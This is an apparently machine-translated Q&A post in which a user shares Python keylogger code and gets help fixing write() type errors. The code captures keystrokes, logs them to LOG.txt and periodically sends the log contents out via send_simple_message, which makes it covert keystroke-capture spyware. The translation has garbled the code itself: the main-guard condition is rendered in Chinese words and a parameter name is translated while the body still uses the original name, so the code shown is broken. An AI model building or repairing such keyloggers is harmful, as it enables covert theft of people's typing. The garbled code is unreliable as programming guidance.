def file_input(已记录):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
如果名称 ==" 主要":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
我试图在python中编写一个键盘记录器,我遇到类型错误,我怎么能解决这个问题?
我只是将记录变量放入write()中,它产生类型错误,记录变量类型为list。所以我尝试使用join func但它没有工作
答案 0 :(得分:8)
您尝试使用w.write()
写入文件但它只需要一个字符串作为参数。
now_time
是一个'日期时间'键入而不是字符串。如果您不需要格式化日期,则可以改为:
w.write(str(nowtime))
与
相同w.write(recorded)
recorded
是一个事件列表,您需要在尝试将该字符串写入文件之前使用它来构造字符串。例如:
recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))
然后,在file_input()
函数内,你可以:
w.write(typedstr)
答案 1 :(得分:0)
通过更改为w.write(str(recorded))
,我的问题得以解决。
答案 2 :(得分:0)
在某些情况下,当以字符串形式写入文本文件时仍然存在编码问题,_content 函数会很有用。
w.write(str(recorded._content))